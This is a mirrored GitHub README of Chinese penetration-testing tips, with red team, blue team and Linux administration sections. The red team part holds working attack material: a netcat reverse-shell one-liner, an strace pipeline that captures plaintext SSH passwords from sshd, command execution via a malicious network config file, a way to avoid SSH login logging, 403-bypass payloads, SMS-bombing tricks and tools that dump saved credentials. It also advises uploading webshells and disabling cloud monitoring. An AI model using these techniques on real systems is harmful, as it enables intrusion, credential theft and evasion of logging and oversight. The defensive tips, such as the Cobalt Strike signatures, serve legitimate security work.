GithubHelp home page GithubHelp logo

pentest101's Introduction

Pentest101

每周(也许不)分享一些关于渗透测试的知识点


无论红队还是蓝队,干活之前先让客户保存好日志和备份.(在啰嗦我也要说,血的教训)


大纲


红队

通过 NPM 仓库做文件分发,可以用于后门文件的分发,域名白名单绕过,有被溯源风险,合理使用


这个文章里讲了redis 主从rce后如何恢复的方法


可以用于 bypass ja3 检测的工具库


分享2个 graphql 利用的辅助工具

还有一个 graphql 的靶场,可以实战试试

GraphQL 自省机制,默认情况下,任何未经身份验证的用户都可以分析 GrapQL 模式。Introspection 允许我们获取有关所有请求、mutation、订阅和数据类型的信息,以及向发出请求的客户端提供的所有其他信息。通过请求 ___schema 元字段可以轻松获得此信息,根据规范,该信息始终可用于“root”类型的查询。

Content-Type: application/json

{"query":"query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}"}

一个用于 ip 反查的小工具,出现新的漏洞POC,批量验证完,快速确定ip所属企业,方便提交漏洞 https://github.com/Sma11New/ip2domain


找到了泄露的 Google Maps API 不知道怎么利用,可以使用 gmapsapiscanner 工具进行验证.


分享一个脚本, 可以在 linux 没有 curl 和 wget 的情况用 shell 实现下载功能(仅支持http)

#!/bin/bash
function DOWNLOAD() {

    local URL=$1

    if [ -z "${URL}" ]; then
        printf "Usage: %s \"URL\" [e.g.: %s http://www.xxx.com/test.json]" \
            "${FUNCNAME[0]}" "${FUNCNAME[0]}"
        return 1;
    fi

    read proto server path <<< "${URL//"/"/ }"
    DOC=/${path// //}
    HOST=${server//:*}
    PORT=${server//*:}
    [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

    exec 3<>/dev/tcp/${HOST}/$PORT
    echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
    while IFS= read -r line ; do
        [[ "$line" == $'\r' ]] && break
    done <&3
    nul='\0'
    while IFS= read -d '' -r x || { nul=""; [ -n "$x" ]; }; do
        printf "%s$nul" "$x"
    done <&3
    exec 3>&-
}

DOWNLOAD "$1"

来自文章 : https://zgao.top/linux%e5%9c%a8%e6%b2%a1%e6%9c%89curl%e5%92%8cwget%e7%9a%84%e6%83%85%e5%86%b5%e4%b8%8b%e5%a6%82%e4%bd%95%e7%94%a8shell%e5%ae%9e%e7%8e%b0%e4%b8%8b%e8%bd%bd%e5%8a%9f%e8%83%bd/


来回切换多个osint搜索引擎很麻烦,一个个导出更是耗费时间,建议你试试我们的多网络资产测绘引擎 API 命令行查询工具

目前支持 : chaos、hunter、quake、zoomeye、shodan、fofa


企业中经常把企业简称(jsxx)、工号(10086)、姓名全拼(zhangsan)、姓名带点(jing.zhang)等做为登录用户名,攻击者收集工号、邮箱名,或者直接生成用户名字典进行爆破,成功率非常高,这里推荐我们开源的工具来进行字典的生成


Redhat/CentOS 发行版下可以通过写恶意网卡配置文件进行命令执行的方式,条件比较受限,但也是一种方法,可以学习一下

sudo tee /etc/sysconfig/network-scripts/ifcfg-1337 <<-'EOF'
NAME=Network /bin/id  &lt;= Note the blank space
ONBOOT=yes
DEVICE=eth0
EOF

service network restart             # 重启网络管理触发
systemctl status network.service    # 可以看到 id 已经执行


nuclei 目前支持了多个 dns 变量,以 www.ffffffff0x.com 为例

{{FQDN}}        # www.ffffffff0x.com
{{RDN}}         # ffffffff0x.com
{{DN}}          # ffffffff0x
{{TLD}}         # com
{{SD}}          # www

当存在需要根据目标域名进行生成相应 payload 的需求时, 推荐用 nuclei 的这些变量


uuid 是常用的唯一标识符,很好用,不过这里推荐一个可以用于替代的 uuid 的解决方案 : https://github.com/ai/nanoid ,速度更快,更安全,已被移植到多种语言中


在 burp 的 raw 包如果要编写为 python 脚本不是很难,但是如果经常有这种需求,其实也很麻烦, 分享一个技巧,可以从 raw 包转换为 Python, JavaScript, PHP, R, Go, Rust 等代码的形式

  1. 从 Burp 复制 http 请求到 https://curl.se/h2c/ 转换为 curl 命令
  2. 复制 curl 命令到 https://curlconverter.com/
  3. 完善生成的脚本,添加你需要的功能,验证即可

来自文章 : https://medium.com/@wyv3rn/creating-easy-proof-of-concept-scripts-with-python-and-curl-5dca489c596b

如果嫌麻烦,也可以直接安装程序一条命令转换

npm install --global curlconverter
wget -O h2c https://raw.githubusercontent.com/curl/h2c/master/h2c && chmod +x h2c

sudo tee test.txt <<-'EOF'
POST /test/site/post.cgi HTTP/1.1
Host: example.com
User-Agent: moo
Shoesize: 12
Cookie: a=12; b=23
Content-Type: application/json
Content-Length: 57

{"I do not speak": "json"}
{"I do not write it": "either"}
EOF

./h2c < test.txt | curlconverter
./h2c < test.txt | curlconverter -l go

运用nuclei进行API密钥喷洒,不过国内环境要单独去写相应的yaml


运用nuclei扫描配置错误的反代服务器的案例,值得学习


https://www.acunetix.com/vulnerabilities/web/ - awvs 的漏洞检测用例,里面有详细的漏洞描述,修复建议,和参考链接


https://cs.github.com/ - github 的新版搜索引擎,可以用于 OSINT 的搜索,具体案例可以参考这篇文章 https://www.sshell.co/github-code-search/


想学习 nuclei 不知道怎么用? 推荐你看看我这篇笔记 https://github.com/ffffffff0x/1earn/blob/master/1earn/Security/%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7/nuclei.md


生成社工字典时可以根据目标单位名称、负责人姓名、手机号、邮箱等

使用 https://github.com/mozillazg/python-pinyin

提供 **张三商业公司 , 输出 zgzssygs 配合常见的密码后缀 @123456、@2021 等可以构造出更加具有针对性的社工字典


nmap 官方列出了在电影里出现了 nmap 的场景,并一一作出解释 🤣


burp的扫描增强插件

  • wagiro/BurpBounty - Burp Bounty (Scan Check Builder in BApp Store) is a extension of Burp Suite that allows you, in a quick and simple way, to improve the active and passive scanner by means of personalized rules through a very intuitive graphical interface.

还有一个很不错的配置文件项目


自建 dnslog 服务可以使用 https://github.com/chennqqi/godnslog


有时候进到后台,导出的一些数据可能是 json 格式的,这个时候可以用 linux 下的 jq 工具,快速处理 json 数据,导出成你需要的格式.

例如:

wget https://raw.githubusercontent.com/modood/Administrative-divisions-of-China/master/dist/pcas.json
cat pcas.json | jq '."北京市"' > out.txt        # 获取北京市所有辖区、街道信息
cat pcas.json | jq '."北京市"."市辖区"' > out.txt
cat pcas.json | jq '."北京市"."市辖区"."东城区"' > out.txt      # 获取北京市东城区所有街道信息

通过获取的信息,进一步构造字典或者其他的,用于扩大战果


很多师傅的 blog 提供了 rss 订阅,我个人推荐一个 rss 阅读的chrome插件: Feedbro

及时阅读新的文章,跟上师傅们的步伐.


projectdiscovery 的 chaos 是收集 src 资产的不错途径


在 vps 上跑扫描任务经常由于网络波动掉 ssh 连接, 此时 shell 里执行的任务也被断掉了, 针对这种情况,可以试试虚拟 shell, 比如 screen , tmux , 虚拟 shell 在你断掉 ssh 连接时不会 kill 掉任务, 很好用,可以试一试


拿下 linux 机器,可以运行下 last 如果是内网机器,可以发现运维管理员的 ip 段,精准定位目标

也可以看下防火墙信息 iptables --list 也会有所收获


翻数据库密码可以注意 history 记录也可以看下 /root/.mysql_history 文件


偶尔跑1、2个脚本安装一下模块还是挺恼人的

如果经常写 python 脚本,可以使用 pipreqs 生成自己的 requirements.txt 文件,这样方便在更换主机的时候快速部署好运行环境


浏览器内打开 cmd

ms-settings:clipboard?activationSource=

火狐

telnet:///
irc:///
ircs:///
mailto:///
webcal:///

有 wsdl/soap 不知道怎么测?除了老版本awvs以外可以使用 soapui 直接抓取目标接口,也可用 burp 插件 Wsdler

还有一个 ReadyAPI 可以自动 fuzz,不过使用实在是太不方便了


避免记录登录日志的小技巧

ssh -T user@host /bin/bash -i

-T 代表不要分配 tty,-i 代表要一个交互型的 bash

来自文章 : Linux 系统日志小结


如何关闭 http://burp 防止蜜罐探测

  • Proxy - Options - Miscellaneous - Disable web interface at http://burp


检测暗链的小技巧,使用爬虫的 user-agent 遍历访问目标,对比 title 和内容


DNS收集的优先级 被动+爬取+过滤 > 主动扫描+爆破

  • 可以使用这种思路 rapid7公共数据集+js爬取+Github等第三方爬取+subfinder+OneForAll+ksubdomain过滤

对于未知的webshell,可以尝试爆破路径、密码

也加一些参数,尝试报错,看会不会有密码


nc 用的不爽可以尝试换个 reverse-shell 工具,推荐个 https://github.com/nodauf/Girsh ,go写的,可以自动检测OS并执行正确的命令,将其升级为一个完整的交互式反向shell。


从反编译的 apk 文件中提取相关域名链接/IP

grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r xxx --color=auto
grep -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" -r xxx --color=auto

通过正则从 apk 中提取一些敏感信息

apktool d app_name.apk
grep -EHirn "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|password|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into" APKfolder/

如果登录系统设置了 IP 地址白名单,我们可以通过修改 http 头字段伪造 IP 地址

或者直接修改 host 头

curl -v -H "Host: localhost" https://target/
wget -d --header="Host: localhost" https://target/

有时候文件太大,想先确认一下文件结构和部分内容,这时可以使用 remotezip,直接列出远程 zip 文件的内容,而无需完全下载,甚至可以远程解压,仅下载部分内容

pip3 install remotezip
remotezip -l "http://site/bigfile.zip"          # 列出远程zip文件的内容
remotezip "http://site/bigfile.zip" "file.txt"  # 从远程zip⽂件解压出file.txt

URL跳转漏洞字典: https://github.com/ffffffff0x/AboutSecurity/blob/master/Dic/Web/api_param/Fuzz_Redirect.txt


burp 在忽略目标的时候是配置 Intercept Client Requests , 但是这个选项不支持批量导入, 只能一条一套的添加, 非常反人类, 所以 windows 下可以通过 Proxifier 配置 Rules 做到忽略指定的 host

附赠一个 Target hosts 列表


npm 和 github 加速可以使用 jsdelivr 的 cdn 进行加速,但 jsdelivr 不支持 release 的发布文件下载,可以采用 cf worker 部署的代理服务进行加速


在 linux 中不知道当前用户可用什么命令,可以使用下面的命令,这条命令可以列出所有可用的命令(有点拗口)

compgen -c

火绒拦截扫描,如何关闭拦截?

  • 火绒>网络防护>基础防护中关闭


druid 未授权访问常见路径

  • /druid/websession.html
  • /system/druid/websession.html
  • /webpage/system/druid/websession.html

爆破目标用户名时应考虑如下可能:

  • 撞库
  • 常见手机号
  • 常见登录账号(admin、manager、test、deme)
  • 数字组合(0-9、00-99、000-999、0000-9999、00000-99999)
  • 拼音(zhangsan、zhang.san、zhangs)
  • 中文(张三、李四、张san)
  • 英文名(Tom、Jeo、Cherry)
  • 单位名(zssx123、zssx@123)
  • 地名(beijing123、beijing@123)
  • 组合(地名+单位名)
  • 域名(baidu@123、JD@123)
  • 生日组合

整理字典时,推荐用linux下的工具快速合并和去重

cat file1.txt file2.txt fileN.txt > out.txt
sort out.txt | uniq > out2.txt

信息收集小技巧,仔细观察目标页面的js路径,多找几个js目录,专门用js字典进行爆破,获取的js脚本列表,再调用工具去匹配路径和凭证。


有时一些上传点没有过滤,但你访问文件是通过函数调用获取文件,这个时候可以先测下任意文件读,然后尝试get改为post在测试任意文件读,如果存在,尝试通过任意文件读找路径


打某一个行业想要有成果,最好要深入了解这个行业,我举个例子,比如搞传奇/dnf这种私服的,他们讲管理员都叫gm,不像搞IT的叫admin,那你爆一些私服游戏的网页后台、管理账号就需要搞一些行业黑话生成一下,比如/gm/或者/chongzhi/gm.php,用IT行业的字典,水土不服🤣,还有菠菜行业,注册用户需要6位邀请码,很多都是888888、666666这种吉利数字,逆向一下思路,猜一猜目标受众喜欢什么。


我们在后渗透过程中经常要传 payload 到目标,临时起的文件服务器都是 python 一条命令的事

  • Python 2.x
    python -m SimpleHTTPServer 8000
    # 在当前目录起个 8000 端口的 HTTP 服务
  • Python 3.x
    python -m http.server 8000 --bind 0.0.0.0
  • 推荐一个可以加密码的,一条命令python服务器模块
    pip3 install updog
    updog --port 8888 --password test1234
    

一般来说,某些场景多个服务是协同的关系,比如就这个 LiveCMS 服务一定和下面的监控设备有连接,不然日志不会这么大,可以搞一搞下级监控,也可以专门搞一搞这个 LiveCMS 和 LiveSMS、LiveGBS 试试 LiveCMS 端口使用

  • TCP 端口 : 5060(SIP), 10000(HTTP), 26379(Redis)
  • UDP 端口 : 5060(SIP)

LiveSMS : SIP 流媒体服务, 根据需要可部署多套

  • TCP 端口 : 5070(SIP), 10001(HTTP), 11935(RTMP Live), 30000-40000(RTP over TCP)
  • UDP 端口 : 5070(SIP), 50000-60000(RTP/RTCP over UDP)

有时候我们拿了一台 docker 机器,发现没有 ifconfig 命令也没有 ip 命令,不清楚怎么看 IP,这时候可以通过查看 proc 文件的方式来查看

cat /proc/net/fib_trie
cat /etc/sysconfig/network

渗透时遇到某些上传点未作过滤,但负载均衡做了过滤后缀名的情况,可以上传 webshell 命名为 index.php,然后访问 xxx.com/xxx/upload, 尝试 bypass 反代的策略


当渗透时遇到了 403 或者 302、401 的拒绝访问,不要怕,多 FUZZ 几次

  • 从 HTTP Header 层面 bypass

    GET /admin HTTP/1.1
    Host: web.com   # ===> 403
    
    GET /anything HTTP/1.1
    Host: web.com
    X-Original-URL: /admin  # ===> 200
    
    GET /anything HTTP/1.1
    Host: web.com
    Referer: https://web.com/admin  # ===> 200
    
    GET https://qq.com HTTP/1.1
    Host: web.com   # ===> SSRF
  • 从 URL 参数层面 bypass

    /admin/panel    # ===> 403
    /admin/monitor  # ===> 200
    
    /admin/monitor/;panel   # ===> 302
    web.com/admin   # ===> 403
    
    web.com/ADMIN       # ===> 200
    web.com/admin/      # ===> 200
    web.com/admin/.     # ===> 200
    web.com//admin//    # ===> 200
    web.com/./admin/./  # ===> 200
    web.com/./admin/..  # ===> 200
    web.com/%2f/admin/  # ===> 200
    web.com/admin.json  # ===> 200(ruby)
    
    web.com/%2e/admin   # ===> 200
    web.com/%252e/admin # ===> 200
    web.com/%ef%bc%8fadmin  # ===> 200
    
    web.com/admin       # ===> 302
    web.com/admin..;/   # ===> 200
  • 从协议层面 bypass

    http://web.com/admin    # ===> 403
    https://web.com/admin   # ===> 200

当我们拿下 windows 机器时可以通过抓内存中的密码进行横向,但 linux 却不可能抓到内存中的密码,但是 Debian 系列下的 linux 系统可以通过监听 sshd 进程的数据抓取出明文密码,比如你拿下了一台管理员机器,上面有 xshell,你可以手动开一个监听,在开一个登录,监听的窗口上就抓出密码了

strace -xx -fp `cat /var/run/sshd.pid` 2>&1| grep --line-buffered -P 'write\(\d, "\\x00' | perl -lne '$|++; @F=/"\s*([^"]+)\s*"/g;for (@F){tr/\\x//d}; print for @F'|grep --line-buffered -oP '.{8}\K([2-7][0-9a-f])*$'|grep --line-buffered -v '^64$'|perl -pe 's/([0-9a-f]{2})/chr hex $1/gie'

当然你也可以直接用工具抓 xshell 存的密码

  • Arvanaghi/SessionGopher - 使用 WMI 提取 WinSCP、PuTTY、SuperPuTTY、FileZilla 和 Microsoft remote Desktop 等远程访问工具保存的会话信息的 ps 脚本
  • uknowsec/SharpDecryptPwd - 对密码已保存在 Windwos 系统上的部分程序进行解析,包括:Navicat,TeamViewer,FileZilla,WinSCP,Xmangager 系列产品(Xshell,Xftp)。

渗透时尽量不要暴露自己的 IP 地址,挂代理是必须的


linux 下代理不用多说, proxychains-ng,windows 下推荐用 Proxifier


MSF 和 CS 中 Stage 与 Stageless 的区别

  • Stage : 先传一个 shellcode,然后回连端口,加载恶意 metsrv,然后再请求 stdapi 于 priv,进行上线
  • Stageless : 将 shellcode、metsrv、stdapi、priv 打包,一次性传完
  • 如果想让 msf 直接回弹到 NC,那么必须要用 stageless

判断目标主机是不是虚拟机、容器

  • windows
    • cmd : systeminfo
    • Powershell : get-wmiobject win32_computersystem | fl model
  • linux
    lshw -class system | grep -i VM & grep -i virtual
    dmesg | grep -i VM & grep -i virtual
    dmidecode -s system-product-name
    ls /tmp
    systemd-detect-virt
    virt-what
    ls -alh /.dockerenv
    cat /proc/1/cgroup

msf 框架其实有许多 UI 界面的工具, 可以帮助不习惯命令行的渗透测试人员进行渗透,我举几个例子


在进行云主机后渗透时,如果触发敏感操作,会有短信提醒到管理员手机上,这个时候可以酌情考虑卸载云主机的监控 (有时你用云主机装 SSR 会无法连接也是这个原因)


rlwrap 工具,可以完美解决各类 shell 中无法上下左右的问题

例如 ,回弹了 shell,手贱按了上,这种情况(我想你一定遇到过🤣🤣🤣🤣)

  • 安装:
    apt install rlwrap
  • 使用:
    rlwrap [Command]

cAdvisor 是 Google 出品的用于监控 Docker 容器的服务,渗透时遇到这个服务基本上是存在容器环境


新版 kali 2020 版后使用 root 账号默认不给密码,如果你想,可以直接进行修改 : sudo passwd root


nc 具有多个版本, 比如: traditional、openbsd、ncat

  • traditional 最老的版本,支持最基本的功能
  • openbsd 安全版本,回弹要用一大段命令
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
  • ncat 新版本, 重构了旧版的代码并支持了许多新功能, debian 系列发行版下通过以下命令进行安装配置
    apt install -y ncat
    update-alternatives --set nc /usr/bin/ncat

程序溢出,int 最大值为 2147483647,可尝试使用该值进行整数溢出,观察现象。

来自项目 : Power7089/PenetrationTest-Tips


图片验证码可设置为空,如:code=undefined

来自项目 : Power7089/PenetrationTest-Tips

也可以使用字典进行 fuzz


任意文件下载:/porc/self/cmdline -- 当前进程的 cmdline 参数,/var/lib/mlocate/mlocate.db -- 全文件路径。

来自项目 : Power7089/PenetrationTest-Tips


  • 138888888889 12 位经过短信网关取前 11 位,导致短信轰炸
  • 短信轰炸绕过:手机号前加 + 86 有可能会绕过,手机号输入邮箱,邮箱处输入手机号
  • 手机号码前后加空格,86,086,0086,+86,0,00,/r,/n, 以及特殊符号等
  • 手机号前加若干 + 会造成短信轰炸
  • 获取短信验证码时,用逗号隔开两个手机号,有可能两个手机号能获取到同一个验证码

来自项目 : Power7089/PenetrationTest-Tips


蓝队

通过 eBPF hook 系统的 libssl ,从而不需要装ca证书也可以抓https的包,很不错的项目,在应急响应和主机监控中会很有用


jq,但是是用于文件的 https://github.com/wader/fq


推荐一个不错的恶意文件分析工具 https://github.com/mandiant/capa


流量分析除了 wireshark 用科来的工具进行分析也是个不错的选择,有时候做 ctf 的分析题,直接用科来工具打开就可以发现异常包,还是挺有帮助的


CobaltStrike 的 Fofa 语法

cert="73:6B:5E:DB:CF:C9:19:1D:5B:D0:1F:8C:E3:AB:56:38:18:9F:02:4F"

红队常用的扫描器特征


"Beacon.dll"、"beacon.x64.dll" 和 "ReflectiveLoader" 默认是 CS Beacon 的硬编码特征。当寻找内存中的后门时,可以利用这一点


Linux

分享一篇关于jq的中文教程,讲的非常详细,推荐

还有一个可以在线调试jq命令的工具




vultr 的 Fedora 35 版本 vps 默认无 dns 设置,我无法理解 🤡

echo "nameserver 8.8.8.8" > /etc/resolv.conf
systemctl restart systemd-resolved

远程修改文件有时候还是图形化方便些,如果喜欢 vscode 这种编辑器,可以试试 https://github.com/cdr/code-server ,在目标上配置一个远程的 vscode 服务器,做调试、跑脚本都很方便


推荐一个很方便的 linux 文件管理工具 ranger, 具有 Vim 式的操作方式.

apt install ranger && pip install ranger-fm
ranger

# 使用 h,j,k,l 来进行光标的移动, 来穿越在不同的文件夹中
# q 退出
# S 来进行当前光标所在的文件夹中 exit 命令重新回到 ranger 程序当中去

当运行一个程序发现缺少库时,可以使用 apt-file 进行搜索,然后安装对应的软件包

apt install apt-file
apt-file update
apt-file search <xxx>
apt install <xxx>

来自项目 : firmianay/Tips-for-Geek


用于文本处理的几个工具


命令行下截图的一种不错的方式

  • asciinema

神器级工具,Linux 下的 everything


推荐一个 linux 小工具 trash-cli 用于移动文件到回收站,同时会记录文件的原地址、删除日期和权限。trash-cli 和 KDE、GNOME、XFCE 使用同一个回收站,你可以在命令行或脚本运行 trash-cli。一定程度上可以代替 rm


一个探针工具,可用于实时监测服务器运行状况


linux 使用过程中经常出现安装软件包失败的问题,很多情况是遇到了锁,可以直接删除(运维兄弟们,生产环境下不要用啊🤣🤣🤣)

  • debian系 报错:无法获得锁 /var/lib/apt/lists/lock - open (11: 资源暂时不可用)
    rm -rf /var/cache/apt/archives/lock
    rm -rf /var/lib/dpkg/lock-frontend
    rm -rf /var/lib/dpkg/lock
    rm /var/lib/dpkg/lock
    rm /var/lib/apt/lists/lock
  • redhat系 报错:/var/run/yum.pid 已被锁定,PID 为 xxxx 的另一个程序正在运行.
    rm -f /var/run/yum.pid 2> /dev/null
  • 特立独行的 Fedora 报错:Waiting for process with pid to finish.
    rm -f /var/cache/dnf/metadata_lock.pid 2> /dev/null

在 linux 中安装一些组件的依赖时会有比如 python-dev 和 python-devel 的区别,devel 或 dev 包主要是供开发用,这代表不同的发行版本,redhat 系是 devel ,debian 系是 dev


修改 Linux 的 DNS 一直是一个问题,每次开机 dns 都会重置,debian 下可以使用 dns 管理工具一劳永逸的解决

  • 安装
    apt-get install -y resolvconf
  • 配置
    echo "nameserver 223.5.5.5" > /etc/resolvconf/resolv.conf.d/head
  • 更新
    resolvconf -u
  • 若需要更改 DNS,请修改 /etc/resolvconf/resolv.conf.d/head 文件

如果在 red hat 系发行版中需要装开发工具,建议安装 Development Tools ,可以将常用软件,一次性装好

  • 安装
    yum groupinstall -y "Development Tools"

分享几个linux性能调优的技巧

sync    # sync 命令做同步,以确保文件系统的完整性,将所有未写的系统缓冲区写到磁盘中,包含已修改的 i-node、已延的块 I/O 和写映射文件.否则在释放缓存的过程中,可能会丢失未保存的文件.
echo 1 > /proc/sys/vm/drop_caches   # 清理 pagecache(页面缓存)
echo 2 > /proc/sys/vm/drop_caches   # 清理 dentries(目录缓存)和inodes
echo 3 > /proc/sys/vm/drop_caches   # 清理 pagecache、dentries 和 inodes
sync

# 取消开启文件数限制
ulimit -n 65535

# 优化内存
echo 128 > /proc/sys/vm/nr_hugepages        # 默认为0
sysctl -w vm.nr_hugepages=128

最近在 linux 搭建 vpn 服务的时候遇到时间和时区不同步的情况,分享下解决方案

查看当前时区

timedatectl

修改当前时区:

timedatectl set-timezone Asia/Shanghai
#
cp  /usr/share/zoneinfo/Asia/Shanghai  /etc/localtime

由于 python 官方停止了对 python2 的维护,以后大部分和 pip2 有关的操作都会报下面这个错,我预估一下,这个应该是以后我们遇到最常见的问题之一, 解决方案很简单, 安装指定版本的 pip2 即可

curl https://bootstrap.pypa.io/2.7/get-pip.py --output get-pip.py
python get-pip.py

Python 2 在 Ubuntu 20 上不存在,但是有时候还是需要的。可以通过以下命令安装

apt-get install python-is-python2

create by ffffffff0x

pentest101's People

Contributors

no-github avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.